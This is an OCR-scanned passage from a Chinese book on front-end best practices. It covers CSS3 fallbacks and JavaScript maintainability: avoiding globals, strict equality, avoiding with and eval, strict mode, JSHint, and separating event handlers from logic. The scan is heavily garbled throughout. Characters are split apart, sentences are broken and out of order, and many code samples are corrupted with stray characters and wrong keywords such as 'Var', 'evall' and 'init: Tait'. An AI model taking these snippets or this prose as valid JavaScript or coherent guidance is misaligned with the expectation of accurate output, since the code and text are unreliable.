是 需要 做 降级 处 理 的 ， 哪 些 可 做 兼容 处 理 。 因 为 有 些 元 素 是 非 关键 元 素 ， 所 以 元 素 上 阴影 效果 无 效 ， 比 如 圆 角 显示 成 了 方 角 是 可 以 接受 的 ， 而 有 些 是 关键 元 素 ， 关 平 页 面 主题 的 视觉 效果 和 交互 行为 ， 必 须 
要 做 兼容 处 理 。 在 目前 CSS3 并 没有 被 所 有 主流 浏览 器 支持 的 情况 下 ， 使 用 CSS3 中 的 新 特性 时 要 在 功能 和 性 能 之 间 做 权衡 。 
这 里 推荐 一 个 如 何 更 有 效 地 使 用 HTML5 的 建议 网 站 : html5please[1]。 该 网 站 针对 CSS3 中 的 新 特性 ， 整 理 了 一 份 使 用 建议 的 列表 。 网 站 按照 使 用 的 方式 把 CSS3 中 的 新 特性 分 成 了 三 类 : 


(1) 直接 使 用 
这 部 分 包含 了 大 部 分 的 新 特性 ， 因 为 主流 浏览 器 对 这 些 特性 的 支持 较 好 。 


在 这 些 推荐 使 用 的 特性 中 ， 有 些 特性 本 身 不 会 影响 兼容 性 ， 可 以 直接 使 用 ， 如 border-radius、media queries、opacity 等 。 
或 者 背景 色 。 这 样 ， 当 多 背景 图 不 被 支持 时 ， 还 有 单 背景 图 或 者 背景 色 起 作用 。 示 例如 下 : 























特性 时 ， 必 须 在 相同 的 规则 中 设置 一 个 单 背景 图 





有 些 需 要 添加 降级 处 理 。 例 如 ， 使 用 多 背景 图 





background: url (http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/../img/bg.png) repeat; 
background: Url (http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/../img/upper bg.png) 0 495px repeat-x, url (http://www.h 





(2) 谨慎 使 用 


这 部 分 主要 是 因为 性 能 问题 。 例 如 ， 当 使 用 框 阴影 效果 时 ， 如 果 它 应 用 于 一 个 占用 很 大 区 域 的 元 素 ， 则 当 页 面 滚动 或 者 鼠标 悬 停 时 ， 会 引起 不 小 的 性 能 问题 。 








(3) 避免 使 用 
避免 使 用 这 部 分 特性 ， 主 要 是 因为 浏览 器 兼容 问题 。 这 些 特 性 仅仅 是 被 某 个 浏览 器 支持 。 例 如 ， 倒 影 效果 只 是 在 以 WebKit 为 核心 的 浏览 器 中 被 支持 ， 因 此 ， 尽 可 能 不 要 使 用 这 个 功能 。 图 8-6 显 示 了 倒 





影 效 果 对 应 的 浏览 器 支持 情况 。 


Y IE Mobile 





图 8-6 ”倒影 效果 对 应 的 浏览 器 支持 情况 
以 上 只 是 简单 列 出 了 使 用 建议 的 分 类 。 在 html5please 网 站 中 ， 针 对 每 一 个 新 特性 ， 都 有 对 应 的 详细 使 用 建议 ， 推 荐 开发 者 仔细 阅读 。 当 然 ， 这 份 列 表 的 内 容 会 随 着 浏览 器 的 更 新 而 改变 ， 浏 览 器 对 
这 些 CSS3 新 特性 时 需要 考虑 的 兼容 问题 也 就 会 越 少 。 














CSS3 支 持 得 越 好 ， 开 发 者 在 使 用 


[1] http://html5please.comy/ 
第 四 部 分 ” JavaScript 最 佳 实践 


: 第 9 章 高 维护 性 的 JavaScript 
“ 第 10 章 ”高 性 能 的 JavaScript 


“第 11 章 ”高 安全 性 的 JavaScript 


第 9 章 ”高 维护 性 的 JavaScript 


本 书 前 面 两 部 分 介绍 了 HTML 和 CSS 代 码 相关 的 实践 。HTML 和 CSS 代 码 决定 着 页 面 的 外 观 ， 是 网 页 最 基础 的 部 分 。 如 果 要 让 页 面 有 更 好 的 用 户 体验 和 交互 ， 就 不 得 不 加 入 JavaScript 代 码 。 尤 其 是 在 目 
展 如 此 快速 的 情况 下 ， 在 页 面 的 前 端 代码 中 ，JavaScript 占 有 的 比重 也 越 来 越 大 。 而 随 着 JavaScript 代 码 的 使 用 增多 ， 代 码 的 管理 、 性 能 和 安全 问题 也 就 变 得 异常 突出 。 从 本 章 开始 探讨 JavaScript 





前 Web 发 | 
代码 相关 的 最 佳 实践 ， 包 括 如 何 编写 高 可 读 性 、 高 性 能 、 高 安全 性 的 JavaScript 代 码 。 


9.1 “ 养 成 良好 的 编码 习惯 ， 提 高 代码 的 可 维护 性 














确保 每 一 行 代码 都 像 是 同一 个 人 编写 的 。 





码 。 因 为 JavaScript 引 侈 在 运行 这 些 有 潜在 问题 的 代码 时 可 能 
而 ,需要 使 























(1) 避免 定义 全 局 变量 或 函数 





定义 全 局 的 变量 和 函数 ， 
的 变量 或 函数 ， 则 这 些 
中 的 一 位 开发 者 定义 了 如 下 的 全 局 变量 和 函数 : 




















var length = 0; 
function init() 1+...} 
function action () 1... 


如 果 另 外 一 个 开发 者 在 不 知道 已 定义 这 些 变量 和 函数 的 情况 下 ， 也 定义 了 相同 名 称 
重 置 或 者 函数 逻辑 改变 ， 从 而 发 生 不 可 预知 的 错误 。 

















会 影响 代码 的 可 维护 性 。 如 果 在 页 面 中 运行 的 JavaScript 代 码 是 在 相同 的 作 
局 的 变量 或 函数 在 另 一 段 代码 中 将 会 是 透明 的 ， 意 味 着 在 另 一 段 代码 中 可 以 操作 或 者 覆盖 这 些 变量 或 函数 。 但 很 多 时 候 ， 这 样 的 情形 并 不 是 设计 需要 ， 而 是 误 操 作 。 例 如 ， 在 项 目 








良好 的 编码 习惯 是 每 个 程序 员 应 具备 的 基本 素质 。 无 论 是 前 端 程 序 员 还 是 后 端 程序 员 ， 都 要 遵循 基本 的 规范 ， 减 少 因 代 码 混乱 而 造成 难以 维护 的 局 面 。 要 做 到 无 论 有 多 少 人 共同 参与 同一 个 项 目 ， 也 要 





avaScript 是 一 种 弱 类 型 语言 ， 有 着 相对 松散 的 限制 ， 这 种 特点 使 得 开发 者 可 以 更 灵活 、 更 高 效 地 编写 JavaScript 代 码 。 但 同时 也 存在 着 一 些 设计 上 的 缺陷 ， 使 得 开发 者 很 容易 编写 带 有 潜在 问题 的 代 
不 会 报错 或 者 警告 ， 所 以 发 现 这 些 问 题 就 变 得 很 困难 。 这 些 形式 各 异 、 隐 含有 逮 辑 错误 的 代码 ， 影 响 着 代码 整体 的 可 读 性 和 可 维护 性 。 
更 严格 的 编码 规范 ， 避 免 出 现 这 些 不 合 规范 的 代码 带 来 的 错误 。 如 下 是 提高 Javascript 代 码 可 维护 性 的 最 佳 实践 方法 。 
































域 里 面 ， 那 这 就 意味 着 代码 之 间 的 定义 存在 互 











影响 的 可 能 。 





如 果 在 其 中 一 段 代码 中 定义 了 全 局 




















变量 或 函数 ， 则 后 定义 的 函数 或 者 方法 会 覆盖 之 前 的 定义 。 在 代码 中 出 现 这 样 的 情形 是 非常 严重 的 ， 会 导致 变量 值 





有 很 多 的 手段 可 以 解决 因为 定义 了 全 局 变量 而 导致 代码 “污染 ”的 问题 。 最 简单 的 方法 是 把 变量 和 方法 封装 在 一 个 变量 对 象 上 ， 使 其 变 成 对 象 的 属性 。 例 如 : 





Var myCurrentAction = { 
length: 0 
init: function(){.}， 
action: function (){...} 





这 样 基本 上 可 以 避免 全 局 变量 或 方法 被 覆盖 的 情况 。 但 这 种 方案 也 有 弊端 ， 
问 。 这 就 增加 了 代码 的 重复 度 和 代码 编写 的 














所 有 变量 和 函数 的 访问 都 需要 通过 主 对 象 来 实现 ， 比 如 访问 如 上 的 length 变 量 




















， 就 需要 通过 myCurrentAction.length 来 访 





























匿名 函数 实现 : 


(function () { 
var length = 0; 
function init(){..} 
function action() 1{...} 


Ds 





所 有 的 逻辑 都 包含 在 了 这 个 
需要 公开 的 接口 ， 比 如 要 公开 上 述 代码 中 的 init 函 数 ， 则 如 上 代码 应 修改 为 如 下 形式 : 








Var myCurrentAction = (function () { 
var length = 0; 
function init()1{..} 
function action() {...} 
return { 
init: Tait 


D0 











经 过 如 此 调整 ， 外 部 代码 访问 init () 方法 时 ， 就 可 以 调 有 














另外 一 个 避免 定义 全 局 变量 的 方式 是 : 确保 在 定义 变量 时 使 


个 全 局 的 变量 length: 























杂 度 。 另 一 种 改进 的 方案 是 把 全 局 的 变量 包含 在 一 个 局 部 作 


立即 执行 的 匿名 函数 中 ， 形 成 了 一 个 独立 的 模块 ， 最 大 限度 地 防止 了 代码 之 间 的 “污染 ”。 当然， 在 实际 的 业务 中 ， 模 块 之 间 会 有 交互 ， 这 时 则 可 以 使 


myCurrentAction.init 了 。 


var 关 键 字 。 如 果 定 义 变 




















域 中 ， 然 后 在 这 个 作 











域 中 完成 这 些 变量 的 定义 以 及 变量 使 用 的 逻辑 。 例 如 ， 可 以 通过 定义 一 个 





























return 语 句 ， 返 








回 














此 方案 既 巧 妙 地 做 到 了 代码 逻辑 的 封装 ， 又 公开 了 外 部 需要 访问 的 接 








， 是 代码 模块 化 的 最 佳 实践 方式 之 一 。 








量 时 没有 使 用 var， 浏 览 器 解析 时 并 不 会 报错 ， 而 是 自动 把 这 一 变量 解析 为 全 局 变量 ， 比 如 如 下 的 代码 就 定义 了 一 





(function () { 
length = 0; 
function init(){..} 
function action() 1{...} 


1) 0; 





这 种 可 以 不 通过 var 关 键 字 而 定义 变量 的 方式 也 是 JavaScript 代 码 灵活 的 一 种 体现 ， 但 同时 也 是 代码 中 潜在 问题 的 根源 之 一 。 很 多 时 候 ， 开 发 者 并 非 想 通 过 这 种 方式 定义 一 个 全 局 变量 ， 只 是 错误 地 遗漏 





了 var 关键 字 。 规 范 的 制定 者 也 意识 到 了 这 种 灵活 性 带 来 的 问题 ， 因 此 ， 在 JavaScript 代 码 的 严格 模式 中 ， 











(2) 使 





简化 的 编码 方式 





变量 定义 必须 添加 var 关 键 字 ， 否 则 会 报 编译 错误 。 在 后 续 的 章节 中 将 会 详细 介绍 严格 模式 。 





在 Javascript 中 ， 提 供 了 很 多 种 简化 的 编码 方式 ， 这 些 方式 保持 了 代码 的 简洁 性 ， 但 同时 也 提高 了 可 读 性 。 如 下 示例 将 使 


// 对 象 创建 

Var person = new Object () 7 
Person.age = 25; 
Person.name = 'dang'; 

// 数组 创建 

Var list = new Array(); 
list[0] = 12; 

list[1) 
list[2] 




















在 JavaScript 中 ， 可 以 使 








JSON 方 式 创建 对 象 和 数组 。 如 果 开发 者 熟悉 JavaScript， 则 使 


























复杂 的 方式 创建 对 象 和 数组 ， 这 种 方式 是 在 后 端 语言 中 惯 








的 方式 。 




















这 种 方式 更 简洁 易 读 ， 代 码 如 下 : 





// 对 象 创建 

Person = {age: 25, name: 'dang'}; 
// 数组 创建 

list = [12, 20, 24]; 

















(3) 使 








比较 运算 符 === 而 不 是 == 





JavaScript 有 两 组 相等 的 运算 符 : === (严格 相等 ) 和 ! == (严格 不 等 ) ， 以 及 == (相等 ) 和 ! = 





(不 等 ) 。=== 和 ! == 会 比较 两 个 基础 类 型 值 是 否 相等 ,或 者 两 个 复杂 对 象 是 否 指向 同一 个 地 址 ， 


而 == 和 ! = 则 会 先进 行 比较 值 的 类 型 转换 ， 在 把 两 个 比较 值 的 类 型 转换 为 相同 类 型 后 才 会 进行 比较 运算 ， 














zu 


做 








转换 规则 也 很 体 如 下 : 


























undefined 和 null 与 





null == undefined; // true 
0 一 null; // false 

false 一 '0' // true 

false ==- 'false' // false 
'\n 123 \t' = 123 // true 











因 





此 ， 只 有 在 两 个 比较 值 的 类 型 一 致 时 ， 它 才 与 第 一 组 相等 运算 符 等 同 。= = 和 ! = 在 比较 时 的 类 型 























比较 。 来 看 看 相应 的 示例 : 





号 上 


Var p = {toString: function(){ return '1'}} 


P 一 1; // true 






























































要 记 住 如 上 的 这 些 规 则 比较 困难 ， 
不 要 使 用 == 和 ! = 运算 符 。 
(4) 避免 使 用 with 语句 
在 Javascript 中 ，with 语 句 可 用 来 快捷 地 访问 对 象 的 
with (object) { 
statement 
} 
with 语句 的 使 
with (Math) { 
站 
1 NOS.(PI)S 
y=r* sin(PIl /2) 














Dt PT 
* Math.cos (PI); 
* Math eintnr 人 生计 


HH 区 











从 代码 量 上 看 ， 使 




















首先 ， 使 

















function f(x, 
with (o) { 
print (x); 
} 
} 


o){ 


来 看 一 下 with 语句 中 的 x 变 量 ， 从 代码 分 析 ，x 可 能 是 参数 上 传 入 的 x， 也 可 能 是 o 对 象 上 的 


原理 是 : Javascript 解 析 和 运行 时 ， 会 给 with 语句 单独 建立 一 个 作 | 


with 语句 的 确 简化 了 代码 ， 但 不 幸 的 是 ， 使 


with 语句 ， 使 得 代码 难以 阅读 ， 对 于 with 语句 内 部 的 变量 引 














而 使 








=== 和 ! == 这 两 个 严格 相等 运算 符 进行 比较 时 并 不 存在 类 型 转换 的 过 程 ， 因 


己 比 较 时 结果 为 true， 它 们 相互 比较 时 结果 也 为 true， 但 与 其 他 类 型 比较 时 ， 结 果 为 false。 原 始 类 型 数值、 布尔 和 字符 类 型 ) 进行 比较 时 ， 会 先 转换 为 数值 类 型 再 比较 ; 对 象 
和 原始 类 型 比较 时 ， 会 先 将 对 象 转 换 为 原始 类 型 ， 然 














此 会 返回 正确 的 结果 。 为 了 避免 出 现 隐 含 的 错误 ， 推 荐 使 用 





=== 和 ! = -运算 符 ， 








属性 。with 语 句 的 格式 如 下 : 




















的 代码 和 如 下 的 代码 会 完成 同样 的 事情 : 

















with 语句 可 能 
































， 只 有 在 运行 时 才能 知道 变量 


域 ， 而 和 with 语 句 结合 的 对 象 中 的 











亦 量 
局 部 变量 ， 








属性 则 成 为 了 此 作用 域 的 因 





此 可 以 直接 访问 。 例 如 : 





带 来 不 可 思议 的 Bug 以 及 兼容 问题 。 





属于 哪个 对 象 。 例 如 : 

















上 的 代码 中 ， 可 能 开发 者 在 代码 中 使 








x 的 期 望 是 从 参数 传 入 x， 但 如 果实 际 运行 时 o 对 象 上 有 x 











其 次 ，with 语 句 存在 兼容 问题 ， 丸 


function f(foo, 
with (foo) { 
console.1og (values) 


values) { 


} 








如 果 在 ECMAScript 5 环境 中 调 有 
此 with 语句 中 的 values 引 





























此 外 ，with 语 句 的 设计 方面 也 有 


var group = { 
value: { 
node: 1 


} 
Wt (group.value) { 


group.value = { 
node: 2 


过 
// 显示 错误 : 1 
console.1og (node); 


} 
// 显示 正确 : 2 


console.1og (group.value.node); 


如 上 的 例子 中 ， 在 with 




















基于 以 上 的 分 析 ， 在 使 
with 语句 。 








使 























(5) 避免 使 


eval 


























f ([1，2，3]，obj) ， 则 with 语句 中 的 values 引 
的 是 [1，2， 


with 语句 的 过 程 中 ， 


下 的 示例 来 








Mozilla 
































3].values。 


内 部 修改 了 group.value 对 象 ， 设 置 了 group.value.node 值 为 2， 但 在 with 语句 内 部 的 node 值 并 没 上 




















在 JavaScript 中 ，eval 函 数 的 


的 是 obj 对 象 。 如 果 在 ECMAScript 6 环境 中 调 


发 者 通过 阅读 代码 不 能 知道 它 将 会 做 什么 ， 即 无 法 确定 代码 是 否 会 正确 地 做 期 望 的 





属性 o.x， 这 取决 于 实际 运行 时 的 上 下 文 。 当 从 代码 无 法 确认 实际 逻辑 时 ， 这 段 代码 就 可 能 会 有 潜在 的 gug。 如 
属性 ， 则 with 语 句 内 部 的 x 会 成 为 0 对 象 上 的 x 














属性 ， 这 就 和 





发 者 预期 不 同 了 。 





























f ([1, 2, 3], obj), 


























于 Array.prototype 引 入 了 values 属 性 ， 


喘 陷 ， 在 with 语句 内 部 修改 和 with 语句 结合 的 对 象 后， 并 不 能 同步 到 with 内 部 ， 即 不 能 保证 对 象 数据 的 一 致 性 。 举 个 例子 : 














同步 修改 为 2。 























情 , 并 








with 语句 也 存在 设计 上 的 缺陷 ， 





此 ， 应 该 在 代码 中 避免 


























法 很 简 











eval ("x=1;y=2; x*y") 





， 它 会 接收 一 个 字符 串 参数 ， 把 字符 串 内 容 作为 代码 执行 ， 并 返 











但 这 个 函数 存在 小 














的 情况 。 很 多 新 手 











eval 





因为 不 了 解 JavaScript 语 法 ， 所 以 会 在 某 些 不 恰当 的 场合 使 

















回执 行 结果 。 典 型 的 





法 如 下 : 


























函数 。 例 如 ， 想 得 到 对 象 上 的 属性 值 ， 但 由 于 属性 名 是 通过 变量 传 入 的 ， 因 此 无 法 

















点 操作 符 ， 

















这 个 时 候 就 可 能 会 想 要 使 用 eval， 代 码 类 似 如 下 形式 : 


evall(' 








obj.' + key); 














其 实 可 以 使 用 下 标 法 取得 属性 值 : 














obj [key] 


从 eval 的 功能 上 看 ， 使 用 eval 函 数 会 让 代码 难以 阅读 ， 影 响 代 码 的 可 维护 性 。 除 此 之 外 ，eval 的 使 用 也 存在 安全 性 问题 ， 因 为 它 会 执行 任意 传 入 的 代码 ， 而 传 入 的 代码 有 可 能 
的 源 ， 所 以 尽量 避免 使 用 eval。 其 实在 大 多 数 的 情况 下 ， 都 是 可 以 使 用 其 他 方案 来 代替 eval 的 功能 。 上 例 便 是 


































































































是 未 知 的 或 者 来 自 不 受 控制 











中 一 个 典型 的 例子 ， 使 用 下 标 法 代替 使 用 eval 函 数 取 得 了 对 象 的 属性 。 

















和 eval 函 数 类 似 的 还 有 setTimeout 和 setlnterval 函 数 ， 这 两 个 函数 也 可 以 接收 字符 串 参 数 ， 当 传 入 的 参数 为 字符 串 时 ， 它 们 会 做 类 似 eval 函 数 的 处 理 ， 把 字符 串 当做 代码 执行 。 因 此 ， 使 用 这 两 个 函数 


时 ， 应 该 避免 使 用 字符 串 类 型 参数 。 此 外 ，Function 构 造 器 也 和 eval 函 数 的 功能 类 似 ， 也 应 该 避免 使 用 。 


(6) 



































不 要 编写 检测 浏览 器 的 代码 








常 在 一 些 老 上 昌 的 JavaScript 代 码 中 发 现存 在 浏览 器 判断 的 逻辑 ， 即 根据 浏览 器 的 不 同 做 不 同 的 处 理 。 这 种 判断 浏览 器 的 做 法 在 几 年 以 前 还 算是 有 一 定 合理 性 的 ， 因 为 当时 浏览 器 的 发 展 很 缓慢 ， 浏 览 
器 的 功能 变化 不 大 。 但 随 着 浏览 器 更 新 的 速度 越 来 越 快 ， 并 且 浏 览 器 之 间 的 差异 也 越 来 越 小 ， 原 来 这 些 判断 浏览 器 版 本 的 代码 逻辑 就 不 合 时 宜 了 ， 甚 至 有 可 能 导致 逻辑 上 的 错误 。 


功能 有 可 他 























在 新 版 本 中 得 到 支持 ， 浏 览 器 的 Bug 也 可 能 在 新 版 本 中 得 到 修正 。 这 样 一 来 ， 之 前 那些 通过 判断 浏览 器 而 修正 的 Bug 就 可 能 完全 没有 作用 了 ， 开 发 者 不 得 不 重新 修改 代码 来 适应 新 的 浏览 器 。 因 





此 ， 最 佳 的 做 法 是 不 要 编写 检测 浏览 器 的 代码 ， 取 而 代 之 的 是 检测 浏览 器 是 否 支持 某 个 特定 功能 。 开 发 者 可 以 借助 目前 流行 的 Modernizr 框 架 来 检测 浏览 器 的 特性 支持 。 





， 也 存在 某 些 特定 情况 需要 判断 浏览 器 的 版 本 ， 尤 其 是 判断 IE 浏 览 器 。 这 个 时 候 ， 最 好 是 把 针对 特定 浏览 器 的 代码 逻辑 放置 在 单独 的 文件 中 ， 方 便 后 期 的 维护 和 移 除 。 例 如 ， 已 经 知道 IE 8 及 以 下 














本 浏览 器 不 支持 HTML5 的 新 标签 ， 如 果 要 在 页 面 上 使 用 HTML5 新 标签 ， 则 需要 针对 这 些 浏览 器 加 入 兼容 代码 。 这 时 ， 可 把 兼容 代码 放 在 单独 的 文件 中 ， 页 面 中 添加 如 下 代码 : 





























发 1 一 [if 1t TE 9]> 
<script src="javascript/html5.js"></script> 
<![endif]--> 





后 期 如 果 页 面 不 再 支持 IE 8 及 以 下 版 本 浏览 器 ， 则 只 需 移 除 此 代码 引用 。 








$.support 来 判断 浏览 器 的 特性 支持 。 


9.2 ”使 用 更 严格 的 编码 格式 


随 着 


地 方 ， 从 而 提高 代码 安全 性 、 编 译 效率 ， 增 加 运行 速度 上 且 更 好 地 兼容 JavaScript 未 来 的 新 版 本 等 。 














因为 浏览 器 之 前 不 支持 的 








Lu 


b= 


jQuery 从 1.9 版 本 开始 ， 移 除了 $.browser 和 0$.browser.version， 取 而 代 之 的 是 $.support。jQuery 的 做 法 正 是 为 了 让 开发 者 不 再 借助 $.browser 和 $.browser.version 来 判断 浏览 器 版 本 ， 而 是 使 用 


avaScript 的 发 展 ， 开 发 者 及 规范 制定 者 也 意识 到 了 JavaScript 语 言 本 身 的 一 些 设计 缺陷 ， 因 此 在 ECMAScript 5 中 引入 了 严格 模式 。 设 立 严 格 模式 的 目的 主要 是 为 了 消除 JavaScript 语 法 上 不 合理 的 



















































































eval 等 。 


在 严格 模式 中 针对 一 些 编码 的 格式 进行 了 限制 。 有 些 在 普通 模式 下 不 会 报错 的 代码 ， 在 严格 模式 中 可 能 就 会 出 现 运行 错误 。 这 种 显 式 抛 出 错误 的 方式 比 以 怪异 方式 运行 代码 能 更 早 


体 可 以 参考 Mozilla 网 站 上 的 详细 介绍 中]。 














严格 模式 目前 已 经 得 到 了 除 IE 8 之 外 的 大 部 分 主流 浏览 器 的 支持 所， 推荐 在 代码 中 使 用 。 











启用 严格 模式 很 简单 ， 只 要 在 代码 中 添加 如 下 代码 即 可 : 








"use 


在 不 支持 严格 模式 的 浏览 器 中 ， 如 下 代码 会 被 当做 普通 的 语句 运行 ， 不 会 产生 副作用 。 





本 et 























<script> 
"use strict"; 
console.1og ("这 是 严格 模式 。") ; 
</script> 
<script> 
console.1og ("这 是 正常 模式 。"); 
</script> 




















下 面 介绍 在 使 用 严格 模式 时 需要 遵循 的 几 条 最 佳 实践 。 





(1) 


若 全 


的 代码 中 ， 


"use 




















不 要 在 全 局 中 启用 严格 模式 





























在 代码 文件 设置 了 全 局 严格 模式 ， 应 该 避免 这 样 的 设置 方式 。 


triot" 


function dosomething () 


// 这 部 分 代码 会 运行 时 e 千 模式 


function Goone tl ng ss 人 


// 这 部 分 代码 也 会 运行 于 严格 模式 


} 




















即使 是 其 他 人 维护 的 代码 在 不 同 的 文件 中 也 不 建议 这 样 做 ， 因 为 很 难保 证 发 布 时 代码 不 会 合并 ， 尽 量 把 严格 模式 限定 在 函数 作用 域 范围 内 。 类 似 如 下 的 设置 方式 : 














function Son 和 
"use st 


// 这 个 子 问 帅 的 代 码 将 会 运行 于 严格 模式 


} 


function doSomethingElse() 


// 这 个 函数 中 的 代码 不 会 运行 于 严格 模式 


} 











人 体 来 说 ， 严 格 模式 主要 是 针对 如 下 不 合理 的 地 方 做 了 改进 ， 包 括 : 禁用 with 关 键 字 、 防 止 意外 的 全 局 变量 、 函 数 中 的 this 不 再 默认 指向 全 局 、 防 止 函数 参数 重 名 、 防 止 对 象 属性 重 名 、 更 安全 地 使 用 





也 发 现 问题 。 


局 设置 严格 模式 ， 将 意味 着 代码 文件 中 所 有 的 代码 都 必须 遵守 严格 模式 。 除 非 所 有 的 代码 都 是 自己 维护 ， 否 则 这 样 做 会 带 来 风险 ， 因 为 不 能 保证 其 他 人 维护 的 代码 也 是 符合 严格 模式 的 。 比 如 如 下 


如 果 想 给 大 量 的 代码 设置 严格 模式 ， 则 可 以 把 代码 包含 在 一 个 立即 执行 的 函数 内 ， 并 在 函数 开头 启用 严格 模式 ， 示 例 代码 如 下 : 





(function (){ 
"use strict"; 

// 其 他 代码 

]) 0) 





(2) 在 已 有 代码 中 谨慎 启用 严格 模式 











和 
Es 





如 果 代码 中 还 包含 有 不 符合 严格 模式 的 代码 ， 则 启用 严格 模式 会 产生 风险 ， 因 为 有 可 能 会 导致 代码 运行 错误 ， 页 面 无 法 正常 展示 和 交互 。 在 已 有 代码 中 启用 严格 模式 要 和 代码 的 重 构 一 样 受到 | 
必须 有 足够 的 代码 检查 和 测试 ， 确 保 每 一 行 代码 都 可 以 正常 运行 。 











尽管 使 用 严格 模式 有 如 上 这 些 的 风险 ， 但 是 只 要 使 用 得 当 ， 严 格 模式 可 以 帮助 开发 者 尽早 发 现 一 些 潜在 的 问题 。 因 此 ， 推 荐 在 编写 Javascript 代 码 时 启用 严格 模式 。 








如 果 要 更 严格 地 编写 JavaScript 代 码 ， 可 以 使 用 JavaScript 代 码 检 查 工具 。 目 前 ,流行 的 检查 工具 主要 是 JSLint 和 JSHint。JSLint 是 JavaScript 专 家 Douglas Crockford 所 创立 的 。 而 JSHint 则 是 从 JSLint 
派生 出 来 的 ， 比 JSLint 更 轻 量 级 ， 并 且 它 提供 了 一 系列 的 可 配置 项 ， 让 开发 者 可 关 掉 某 些 认为 没有 必要 的 错误 提示 。JSHint 使 用 起 来 更 灵活 ， 并 不 带 有 强制 性 ， 推 荐 开发 者 使 用 。 








JSHint 的 检查 规则 涵盖 了 大 部 分 的 基本 编码 规范 ， 比 如 : 缺少 分 号 、 空 格 和 tab 混 合 使 用 、 错 误 的 转 义 等 。JSHint 官 方 网 站 上 列 出 了 详细 的 检查 项 B]， 每 个 检查 项 都 有 具体 的 解释 ， 这 些 也 是 学 习 
JavaScript 基 本 规范 的 好 资料 。 

















很 多 的 代码 编辑 器 也 集成 了 JSLint 和 JSHint 这 两 个 代码 检查 工具 ， 比 如 在 WebStorm 代 码 编 辑 器 的 设置 中 就 有 针对 此 工具 的 单独 配置 项 ， 配 置 界面 如 图 9-1 所 示 。 


SO CE EEE Spoon 











-Project Settings [MvcWebRole] 
上 Ci Style 加 Enable 器 Use config files Version: | 2.1.10 (bundled) 3 
Compass Support V Enforcing Options Description 
CEwemge 加 US NI op These options tell JSHint to be more 
Dart _] Warn about variable naming strict towards your code. Use them if you 
pb Deployment 图 Warn when blocks omit {} ， want to allow only a safe subset of 
Directories 图 Warn about unsafe comparis JavaScript—very useful when your 
File Colors 了] Warn about incompatibilities 1s egg iid Fi i of 
3 evelopers with different skill levels. 
File Encodings 图 Warn about unsafe for.in | 
File Watchers @ Warn about the use of imme 
Inspections 四 Warn about the use of a vari; 
二 |] Warn about the use of a unc: 
JavaScript 
tT 图 Warn about arguments.calle 
Libraries 
图 Warn about empty blocks nm' 
v Code Quality Tools 
cE 图 Warn about new usage for: 
i | [| Warn about the use of unary 
[| Warn about unsafe . inreg. Javascript comment directive 
ee he 图 Warn when variable is undefi /*jishint bitwise:true, curly:trvue, 
Nodejs and NPM 器 Warn about unused variables eqeqeq:true，forinytrue， 
ES 加 Warn when code is not in str noarg:true, noempty:true, 


nonew: true, yndef:trvue, 
stricrft:truipe, hrnwser:trup w*/ 


Language Injections 
LESS Drrfilne 


@) [| Cancel | | Apply | 


图 9-1 ”WebStorm 中 配置 JSLint 和 JSHint 





在 WebStorm 中 启用 JSHint 后 ，JavaScript 代 码 文件 中 就 会 有 进行 JSHint 检 查 的 提示 信息 ， 如 图 9-2 所 示 。 


} 








parent = parent.parent(); // for the ul 
parent = parent.parent(); // for the div 
if (parent == nuLL || parent.length 二 9 || parent.attr("id") = treeViewControlId 


sv 


break; 


treeView.nodeCheck(parent. find(":checkbox:eq(0)"), true); 
else 
treeView.nodeCheck(parent,. find(":checkbox:eq(0)"), false); 





图 9-2 JSHint 检 查 的 提示 信息 
这 样 就 可 以 很 方便 地 找到 代码 中 不 够 严谨 或 存在 问题 的 地 方 。 


[1] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode 


[2] http://caniuse.com/use-strict 


[3] http://www.jshint.com/ docs/options 


9.3 ”事件 处 理 和 业务 逻辑 分 离 











Javascript 中 的 事件 处 理 是 非常 重要 的 ， 所 有 的 页 面 交互 基本 上 都 离 不 开 事件 的 处 理 ， 这 部 分 代码 在 整个 javasScript 代 码 中 占有 很 大 的 比 本 
在 了 一 起 ， 导 致 代码 的 可 维护 性 降低 。 如 下 是 一 个 典型 的 例子 ， 该 例 是 处 理 鼠 标 拖 动 页 面 元 素 ， 事 件 处 理 函 数 对 应 的 代码 如 下 : 











Man 





。 但 是 ， 很 多 开发 者 把 事件 处 理 的 代码 和 业务 处 理 的 代码 混合 








Var move while dnd = function(e){ 
var lb = scheduler. get lightbox(); // 取得 元 素 
// 设置 元 素 位 置 本 
lb.style.top = e.clientY+"px"; 
lb.style.left = e.clientXt"px"; 









































这 个 函数 是 直接 绑 定 到 事件 上 的 事件 处 理 函 数 ， 函 数 会 接收 一 个 event 对 象 参数 ， 这 个 对 象 包含 了 事件 的 宿主 元 素 及 其 他 相关 数据 。 本 例 中 用 到 了 event 对 象 中 的 clientX 和 clientY 这 两 个 属性 ， 以 便 取得 
鼠标 操作 时 的 位 置 。 这 段 简单 的 代码 看 起 来 并 不 存在 维护 性 问题 ， 但 实际 上 它 是 一 种 不 好 的 写法 。 首 先 ， 这 段 代码 中 的 业务 逻辑 和 事件 处 理 耦 合 紧密 ， 不 利于 代码 的 复 用 。 例 如 ， 这 里 把 元 素 位 置 的 变更 和 
鼠标 操作 耦合 在 一 起 了 ， 如 果 后 期 支持 通过 键盘 的 上 、 下 、 左 、 右 按键 来 移动 元 素 的 位 置 ， 则 需要 重新 编写 一 份 元 素 位 置 变更 的 代码 。 鉴 于 此 ， 好 的 做 法 是 把 事件 处 理 和 业务 逻辑 处 理 分 离开 来 ， 业 务 逻 辑 
处 理 代码 中 不 需要 调用 任何 event 对 象 中 的 属性 ， 而 在 事件 处 理 的 代码 中 则 专门 处 理 和 事件 相关 的 逻辑 ， 比 如 取得 event 对 象 上 的 信息 、 阻 止 事 件 冒 泡 ， 或 者 默认 行为 等 。 经 过 如 此 调整 后 ， 上 述 代码 可 以 改 
写 为 : 






































































































































Var setLightBoxPosition = function (top， left) { 
Var lb = scheduler. get lightbox(); // 取得 元 素 
// 设置 元 素 位 置 
lb.style.top = topt"px"; 
lb.style.left = leftt+"px"; 

} 

Var move while dnd = function(e){ 
SetLightBoxPosition(e.clientY， e.clientX); 


}; 











